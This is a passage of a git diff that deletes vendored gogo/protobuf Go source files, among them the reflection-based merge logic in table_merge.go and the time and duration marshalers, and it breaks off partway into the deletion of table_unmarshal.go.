-// http://github.com/gogo/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "reflect" - "time" -) - -// makeMessageRefMarshaler differs a bit from makeMessageMarshaler -// It marshal a message T instead of a *T -func makeMessageRefMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - siz := u.size(ptr) - return siz + SizeVarint(uint64(siz)) + tagsize - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - b = appendVarint(b, wiretag) - siz := u.cachedsize(ptr) - b = appendVarint(b, uint64(siz)) - return u.marshal(b, ptr, deterministic) - } -} - -// makeMessageRefSliceMarshaler differs quite a lot from makeMessageSliceMarshaler -// It marshals a slice of messages []T instead of []*T -func makeMessageRefSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - e := elem.Interface() - v := toAddrPointer(&e, false) - siz := u.size(v) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - var err, errreq error - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - e := elem.Interface() - v := toAddrPointer(&e, false) - b = appendVarint(b, wiretag) - siz := u.size(v) - b = appendVarint(b, uint64(siz)) - b, err = u.marshal(b, v, deterministic) - - if err != nil { - if _, ok := err.(*RequiredNotSetError); ok { - // Required field in submessage is not set. - // We record the error but keep going, to give a complete marshaling. - if errreq == nil { - errreq = err - } - continue - } - if err == ErrNil { - err = errRepeatedHasNil - } - return b, err - } - } - - return b, errreq - } -} - -func makeCustomPtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - m := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(custom) - siz := m.Size() - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - m := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(custom) - siz := m.Size() - buf, err := m.Marshal() - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - return b, nil - } -} - -func makeCustomMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - m := ptr.asPointerTo(u.typ).Interface().(custom) - siz := m.Size() - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - m := ptr.asPointerTo(u.typ).Interface().(custom) - siz := m.Size() - buf, err := m.Marshal() - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - return b, nil - } -} - -func makeTimeMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - t := ptr.asPointerTo(u.typ).Interface().(*time.Time) - ts, err := timestampProto(*t) - if err != nil { - return 0 - } - siz := Size(ts) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - t := ptr.asPointerTo(u.typ).Interface().(*time.Time) - ts, err := timestampProto(*t) - if err != nil { - return nil, err - } - buf, err := Marshal(ts) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeTimePtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*time.Time) - ts, err := timestampProto(*t) - if err != nil { - return 0 - } - siz := Size(ts) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - t := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*time.Time) - ts, err := timestampProto(*t) - if err != nil { - return nil, err - } - buf, err := Marshal(ts) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeTimeSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(time.Time) - ts, err := timestampProto(t) - if err != nil { - return 0 - } - siz := Size(ts) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(time.Time) - ts, err := timestampProto(t) - if err != nil { - return nil, err - } - siz := Size(ts) - buf, err := Marshal(ts) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeTimePtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*time.Time) - ts, err := timestampProto(*t) - if err != nil { - return 0 - } - siz := Size(ts) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - t := elem.Interface().(*time.Time) - ts, err := timestampProto(*t) - if err != nil { - return nil, err - } - siz := Size(ts) - buf, err := Marshal(ts) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeDurationMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - d := ptr.asPointerTo(u.typ).Interface().(*time.Duration) - dur := durationProto(*d) - siz := Size(dur) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - d := ptr.asPointerTo(u.typ).Interface().(*time.Duration) - dur := durationProto(*d) - buf, err := Marshal(dur) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeDurationPtrMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - if ptr.isNil() { - return 0 - } - d := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*time.Duration) - dur := durationProto(*d) - siz := Size(dur) - return tagsize + SizeVarint(uint64(siz)) + siz - }, func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - if ptr.isNil() { - return b, nil - } - d := ptr.asPointerTo(reflect.PtrTo(u.typ)).Elem().Interface().(*time.Duration) - dur := durationProto(*d) - buf, err := Marshal(dur) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(len(buf))) - b = append(b, buf...) - return b, nil - } -} - -func makeDurationSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(u.typ) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - d := elem.Interface().(time.Duration) - dur := durationProto(d) - siz := Size(dur) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(u.typ) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - d := elem.Interface().(time.Duration) - dur := durationProto(d) - siz := Size(dur) - buf, err := Marshal(dur) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} - -func makeDurationPtrSliceMarshaler(u *marshalInfo) (sizer, marshaler) { - return func(ptr pointer, tagsize int) int { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - n := 0 - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - d := elem.Interface().(*time.Duration) - dur := durationProto(*d) - siz := Size(dur) - n += siz + SizeVarint(uint64(siz)) + tagsize - } - return n - }, - func(b []byte, ptr pointer, wiretag uint64, deterministic bool) ([]byte, error) { - s := ptr.getSlice(reflect.PtrTo(u.typ)) - for i := 0; i < s.Len(); i++ { - elem := s.Index(i) - d := elem.Interface().(*time.Duration) - dur := durationProto(*d) - siz := Size(dur) - buf, err := Marshal(dur) - if err != nil { - return nil, err - } - b = appendVarint(b, wiretag) - b = appendVarint(b, uint64(siz)) - b = append(b, buf...) - } - - return b, nil - } -} diff --git a/vendor/github.com/gogo/protobuf/proto/table_merge.go b/vendor/github.com/gogo/protobuf/proto/table_merge.go deleted file mode 100644 index 60dcf70d..00000000 --- a/vendor/github.com/gogo/protobuf/proto/table_merge.go +++ /dev/null @@ -1,676 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "fmt" - "reflect" - "strings" - "sync" - "sync/atomic" -) - -// Merge merges the src message into dst. -// This assumes that dst and src of the same type and are non-nil. -func (a *InternalMessageInfo) Merge(dst, src Message) { - mi := atomicLoadMergeInfo(&a.merge) - if mi == nil { - mi = getMergeInfo(reflect.TypeOf(dst).Elem()) - atomicStoreMergeInfo(&a.merge, mi) - } - mi.merge(toPointer(&dst), toPointer(&src)) -} - -type mergeInfo struct { - typ reflect.Type - - initialized int32 // 0: only typ is valid, 1: everything is valid - lock sync.Mutex - - fields []mergeFieldInfo - unrecognized field // Offset of XXX_unrecognized -} - -type mergeFieldInfo struct { - field field // Offset of field, guaranteed to be valid - - // isPointer reports whether the value in the field is a pointer. - // This is true for the following situations: - // * Pointer to struct - // * Pointer to basic type (proto2 only) - // * Slice (first value in slice header is a pointer) - // * String (first value in string header is a pointer) - isPointer bool - - // basicWidth reports the width of the field assuming that it is directly - // embedded in the struct (as is the case for basic types in proto3). - // The possible values are: - // 0: invalid - // 1: bool - // 4: int32, uint32, float32 - // 8: int64, uint64, float64 - basicWidth int - - // Where dst and src are pointers to the types being merged. - merge func(dst, src pointer) -} - -var ( - mergeInfoMap = map[reflect.Type]*mergeInfo{} - mergeInfoLock sync.Mutex -) - -func getMergeInfo(t reflect.Type) *mergeInfo { - mergeInfoLock.Lock() - defer mergeInfoLock.Unlock() - mi := mergeInfoMap[t] - if mi == nil { - mi = &mergeInfo{typ: t} - mergeInfoMap[t] = mi - } - return mi -} - -// merge merges src into dst assuming they are both of type *mi.typ. -func (mi *mergeInfo) merge(dst, src pointer) { - if dst.isNil() { - panic("proto: nil destination") - } - if src.isNil() { - return // Nothing to do. - } - - if atomic.LoadInt32(&mi.initialized) == 0 { - mi.computeMergeInfo() - } - - for _, fi := range mi.fields { - sfp := src.offset(fi.field) - - // As an optimization, we can avoid the merge function call cost - // if we know for sure that the source will have no effect - // by checking if it is the zero value. - if unsafeAllowed { - if fi.isPointer && sfp.getPointer().isNil() { // Could be slice or string - continue - } - if fi.basicWidth > 0 { - switch { - case fi.basicWidth == 1 && !*sfp.toBool(): - continue - case fi.basicWidth == 4 && *sfp.toUint32() == 0: - continue - case fi.basicWidth == 8 && *sfp.toUint64() == 0: - continue - } - } - } - - dfp := dst.offset(fi.field) - fi.merge(dfp, sfp) - } - - // TODO: Make this faster? - out := dst.asPointerTo(mi.typ).Elem() - in := src.asPointerTo(mi.typ).Elem() - if emIn, err := extendable(in.Addr().Interface()); err == nil { - emOut, _ := extendable(out.Addr().Interface()) - mIn, muIn := emIn.extensionsRead() - if mIn != nil { - mOut := emOut.extensionsWrite() - muIn.Lock() - mergeExtension(mOut, mIn) - muIn.Unlock() - } - } - - if mi.unrecognized.IsValid() { - if b := *src.offset(mi.unrecognized).toBytes(); len(b) > 0 { - *dst.offset(mi.unrecognized).toBytes() = append([]byte(nil), b...) - } - } -} - -func (mi *mergeInfo) computeMergeInfo() { - mi.lock.Lock() - defer mi.lock.Unlock() - if mi.initialized != 0 { - return - } - t := mi.typ - n := t.NumField() - - props := GetProperties(t) - for i := 0; i < n; i++ { - f := t.Field(i) - if strings.HasPrefix(f.Name, "XXX_") { - continue - } - - mfi := mergeFieldInfo{field: toField(&f)} - tf := f.Type - - // As an optimization, we can avoid the merge function call cost - // if we know for sure that the source will have no effect - // by checking if it is the zero value. - if unsafeAllowed { - switch tf.Kind() { - case reflect.Ptr, reflect.Slice, reflect.String: - // As a special case, we assume slices and strings are pointers - // since we know that the first field in the SliceSlice or - // StringHeader is a data pointer. - mfi.isPointer = true - case reflect.Bool: - mfi.basicWidth = 1 - case reflect.Int32, reflect.Uint32, reflect.Float32: - mfi.basicWidth = 4 - case reflect.Int64, reflect.Uint64, reflect.Float64: - mfi.basicWidth = 8 - } - } - - // Unwrap tf to get at its most basic type. - var isPointer, isSlice bool - if tf.Kind() == reflect.Slice && tf.Elem().Kind() != reflect.Uint8 { - isSlice = true - tf = tf.Elem() - } - if tf.Kind() == reflect.Ptr { - isPointer = true - tf = tf.Elem() - } - if isPointer && isSlice && tf.Kind() != reflect.Struct { - panic("both pointer and slice for basic type in " + tf.Name()) - } - - switch tf.Kind() { - case reflect.Int32: - switch { - case isSlice: // E.g., []int32 - mfi.merge = func(dst, src pointer) { - // NOTE: toInt32Slice is not defined (see pointer_reflect.go). - /* - sfsp := src.toInt32Slice() - if *sfsp != nil { - dfsp := dst.toInt32Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []int64{} - } - } - */ - sfs := src.getInt32Slice() - if sfs != nil { - dfs := dst.getInt32Slice() - dfs = append(dfs, sfs...) - if dfs == nil { - dfs = []int32{} - } - dst.setInt32Slice(dfs) - } - } - case isPointer: // E.g., *int32 - mfi.merge = func(dst, src pointer) { - // NOTE: toInt32Ptr is not defined (see pointer_reflect.go). - /* - sfpp := src.toInt32Ptr() - if *sfpp != nil { - dfpp := dst.toInt32Ptr() - if *dfpp == nil { - *dfpp = Int32(**sfpp) - } else { - **dfpp = **sfpp - } - } - */ - sfp := src.getInt32Ptr() - if sfp != nil { - dfp := dst.getInt32Ptr() - if dfp == nil { - dst.setInt32Ptr(*sfp) - } else { - *dfp = *sfp - } - } - } - default: // E.g., int32 - mfi.merge = func(dst, src pointer) { - if v := *src.toInt32(); v != 0 { - *dst.toInt32() = v - } - } - } - case reflect.Int64: - switch { - case isSlice: // E.g., []int64 - mfi.merge = func(dst, src pointer) { - sfsp := src.toInt64Slice() - if *sfsp != nil { - dfsp := dst.toInt64Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []int64{} - } - } - } - case isPointer: // E.g., *int64 - mfi.merge = func(dst, src pointer) { - sfpp := src.toInt64Ptr() - if *sfpp != nil { - dfpp := dst.toInt64Ptr() - if *dfpp == nil { - *dfpp = Int64(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., int64 - mfi.merge = func(dst, src pointer) { - if v := *src.toInt64(); v != 0 { - *dst.toInt64() = v - } - } - } - case reflect.Uint32: - switch { - case isSlice: // E.g., []uint32 - mfi.merge = func(dst, src pointer) { - sfsp := src.toUint32Slice() - if *sfsp != nil { - dfsp := dst.toUint32Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []uint32{} - } - } - } - case isPointer: // E.g., *uint32 - mfi.merge = func(dst, src pointer) { - sfpp := src.toUint32Ptr() - if *sfpp != nil { - dfpp := dst.toUint32Ptr() - if *dfpp == nil { - *dfpp = Uint32(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., uint32 - mfi.merge = func(dst, src pointer) { - if v := *src.toUint32(); v != 0 { - *dst.toUint32() = v - } - } - } - case reflect.Uint64: - switch { - case isSlice: // E.g., []uint64 - mfi.merge = func(dst, src pointer) { - sfsp := src.toUint64Slice() - if *sfsp != nil { - dfsp := dst.toUint64Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []uint64{} - } - } - } - case isPointer: // E.g., *uint64 - mfi.merge = func(dst, src pointer) { - sfpp := src.toUint64Ptr() - if *sfpp != nil { - dfpp := dst.toUint64Ptr() - if *dfpp == nil { - *dfpp = Uint64(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., uint64 - mfi.merge = func(dst, src pointer) { - if v := *src.toUint64(); v != 0 { - *dst.toUint64() = v - } - } - } - case reflect.Float32: - switch { - case isSlice: // E.g., []float32 - mfi.merge = func(dst, src pointer) { - sfsp := src.toFloat32Slice() - if *sfsp != nil { - dfsp := dst.toFloat32Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []float32{} - } - } - } - case isPointer: // E.g., *float32 - mfi.merge = func(dst, src pointer) { - sfpp := src.toFloat32Ptr() - if *sfpp != nil { - dfpp := dst.toFloat32Ptr() - if *dfpp == nil { - *dfpp = Float32(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., float32 - mfi.merge = func(dst, src pointer) { - if v := *src.toFloat32(); v != 0 { - *dst.toFloat32() = v - } - } - } - case reflect.Float64: - switch { - case isSlice: // E.g., []float64 - mfi.merge = func(dst, src pointer) { - sfsp := src.toFloat64Slice() - if *sfsp != nil { - dfsp := dst.toFloat64Slice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []float64{} - } - } - } - case isPointer: // E.g., *float64 - mfi.merge = func(dst, src pointer) { - sfpp := src.toFloat64Ptr() - if *sfpp != nil { - dfpp := dst.toFloat64Ptr() - if *dfpp == nil { - *dfpp = Float64(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., float64 - mfi.merge = func(dst, src pointer) { - if v := *src.toFloat64(); v != 0 { - *dst.toFloat64() = v - } - } - } - case reflect.Bool: - switch { - case isSlice: // E.g., []bool - mfi.merge = func(dst, src pointer) { - sfsp := src.toBoolSlice() - if *sfsp != nil { - dfsp := dst.toBoolSlice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []bool{} - } - } - } - case isPointer: // E.g., *bool - mfi.merge = func(dst, src pointer) { - sfpp := src.toBoolPtr() - if *sfpp != nil { - dfpp := dst.toBoolPtr() - if *dfpp == nil { - *dfpp = Bool(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., bool - mfi.merge = func(dst, src pointer) { - if v := *src.toBool(); v { - *dst.toBool() = v - } - } - } - case reflect.String: - switch { - case isSlice: // E.g., []string - mfi.merge = func(dst, src pointer) { - sfsp := src.toStringSlice() - if *sfsp != nil { - dfsp := dst.toStringSlice() - *dfsp = append(*dfsp, *sfsp...) - if *dfsp == nil { - *dfsp = []string{} - } - } - } - case isPointer: // E.g., *string - mfi.merge = func(dst, src pointer) { - sfpp := src.toStringPtr() - if *sfpp != nil { - dfpp := dst.toStringPtr() - if *dfpp == nil { - *dfpp = String(**sfpp) - } else { - **dfpp = **sfpp - } - } - } - default: // E.g., string - mfi.merge = func(dst, src pointer) { - if v := *src.toString(); v != "" { - *dst.toString() = v - } - } - } - case reflect.Slice: - isProto3 := props.Prop[i].proto3 - switch { - case isPointer: - panic("bad pointer in byte slice case in " + tf.Name()) - case tf.Elem().Kind() != reflect.Uint8: - panic("bad element kind in byte slice case in " + tf.Name()) - case isSlice: // E.g., [][]byte - mfi.merge = func(dst, src pointer) { - sbsp := src.toBytesSlice() - if *sbsp != nil { - dbsp := dst.toBytesSlice() - for _, sb := range *sbsp { - if sb == nil { - *dbsp = append(*dbsp, nil) - } else { - *dbsp = append(*dbsp, append([]byte{}, sb...)) - } - } - if *dbsp == nil { - *dbsp = [][]byte{} - } - } - } - default: // E.g., []byte - mfi.merge = func(dst, src pointer) { - sbp := src.toBytes() - if *sbp != nil { - dbp := dst.toBytes() - if !isProto3 || len(*sbp) > 0 { - *dbp = append([]byte{}, *sbp...) - } - } - } - } - case reflect.Struct: - switch { - case isSlice && !isPointer: // E.g. []pb.T - mergeInfo := getMergeInfo(tf) - zero := reflect.Zero(tf) - mfi.merge = func(dst, src pointer) { - // TODO: Make this faster? - dstsp := dst.asPointerTo(f.Type) - dsts := dstsp.Elem() - srcs := src.asPointerTo(f.Type).Elem() - for i := 0; i < srcs.Len(); i++ { - dsts = reflect.Append(dsts, zero) - srcElement := srcs.Index(i).Addr() - dstElement := dsts.Index(dsts.Len() - 1).Addr() - mergeInfo.merge(valToPointer(dstElement), valToPointer(srcElement)) - } - if dsts.IsNil() { - dsts = reflect.MakeSlice(f.Type, 0, 0) - } - dstsp.Elem().Set(dsts) - } - case !isPointer: - mergeInfo := getMergeInfo(tf) - mfi.merge = func(dst, src pointer) { - mergeInfo.merge(dst, src) - } - case isSlice: // E.g., []*pb.T - mergeInfo := getMergeInfo(tf) - mfi.merge = func(dst, src pointer) { - sps := src.getPointerSlice() - if sps != nil { - dps := dst.getPointerSlice() - for _, sp := range sps { - var dp pointer - if !sp.isNil() { - dp = valToPointer(reflect.New(tf)) - mergeInfo.merge(dp, sp) - } - dps = append(dps, dp) - } - if dps == nil { - dps = []pointer{} - } - dst.setPointerSlice(dps) - } - } - default: // E.g., *pb.T - mergeInfo := getMergeInfo(tf) - mfi.merge = func(dst, src pointer) { - sp := src.getPointer() - if !sp.isNil() { - dp := dst.getPointer() - if dp.isNil() { - dp = valToPointer(reflect.New(tf)) - dst.setPointer(dp) - } - mergeInfo.merge(dp, sp) - } - } - } - case reflect.Map: - switch { - case isPointer || isSlice: - panic("bad pointer or slice in map case in " + tf.Name()) - default: // E.g., map[K]V - mfi.merge = func(dst, src pointer) { - sm := src.asPointerTo(tf).Elem() - if sm.Len() == 0 { - return - } - dm := dst.asPointerTo(tf).Elem() - if dm.IsNil() { - dm.Set(reflect.MakeMap(tf)) - } - - switch tf.Elem().Kind() { - case reflect.Ptr: // Proto struct (e.g., *T) - for _, key := range sm.MapKeys() { - val := sm.MapIndex(key) - val = reflect.ValueOf(Clone(val.Interface().(Message))) - dm.SetMapIndex(key, val) - } - case reflect.Slice: // E.g. Bytes type (e.g., []byte) - for _, key := range sm.MapKeys() { - val := sm.MapIndex(key) - val = reflect.ValueOf(append([]byte{}, val.Bytes()...)) - dm.SetMapIndex(key, val) - } - default: // Basic type (e.g., string) - for _, key := range sm.MapKeys() { - val := sm.MapIndex(key) - dm.SetMapIndex(key, val) - } - } - } - } - case reflect.Interface: - // Must be oneof field. - switch { - case isPointer || isSlice: - panic("bad pointer or slice in interface case in " + tf.Name()) - default: // E.g., interface{} - // TODO: Make this faster? - mfi.merge = func(dst, src pointer) { - su := src.asPointerTo(tf).Elem() - if !su.IsNil() { - du := dst.asPointerTo(tf).Elem() - typ := su.Elem().Type() - if du.IsNil() || du.Elem().Type() != typ { - du.Set(reflect.New(typ.Elem())) // Initialize interface if empty - } - sv := su.Elem().Elem().Field(0) - if sv.Kind() == reflect.Ptr && sv.IsNil() { - return - } - dv := du.Elem().Elem().Field(0) - if dv.Kind() == reflect.Ptr && dv.IsNil() { - dv.Set(reflect.New(sv.Type().Elem())) // Initialize proto message if empty - } - switch sv.Type().Kind() { - case reflect.Ptr: // Proto struct (e.g., *T) - Merge(dv.Interface().(Message), sv.Interface().(Message)) - case reflect.Slice: // E.g. Bytes type (e.g., []byte) - dv.Set(reflect.ValueOf(append([]byte{}, sv.Bytes()...))) - default: // Basic type (e.g., string) - dv.Set(sv) - } - } - } - } - default: - panic(fmt.Sprintf("merger not found for type:%s", tf)) - } - mi.fields = append(mi.fields, mfi) - } - - mi.unrecognized = invalidField - if f, ok := t.FieldByName("XXX_unrecognized"); ok { - if f.Type != reflect.TypeOf([]byte{}) { - panic("expected XXX_unrecognized to be of type []byte") - } - mi.unrecognized = toField(&f) - } - - atomic.StoreInt32(&mi.initialized, 1) -} diff --git a/vendor/github.com/gogo/protobuf/proto/table_unmarshal.go b/vendor/github.com/gogo/protobuf/proto/table_unmarshal.go deleted file mode 100644 index 93722938..00000000 --- a/vendor/github.com/gogo/protobuf/proto/table_unmarshal.go +++ /dev/null @@ -1,2249 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package proto - -import ( - "errors" - "fmt" - "io" - "math" - "reflect" - "strconv" - "strings" - "sync" - "sync/atomic" - "unicode/utf8" -) - -// Unmarshal is the entry point from the generated .pb.go files. -// This function is not intended to be used by non-generated code. -// This function is not subject to any compatibility guarantee. -// msg contains a pointer to a protocol buffer struct. -// b is the data to be unmarshaled into the protocol buffer. -// a is a pointer to a place to store cached unmarshal information. -func (a *InternalMessageInfo) Unmarshal(msg Message, b []byte) error { - // Load the unmarshal information for this message type. - // The atomic load ensures memory consistency. - u := atomicLoadUnmarshalInfo(&a.unmarshal) - if u == nil { - // Slow path: find unmarshal info for msg, update a with it. - u = 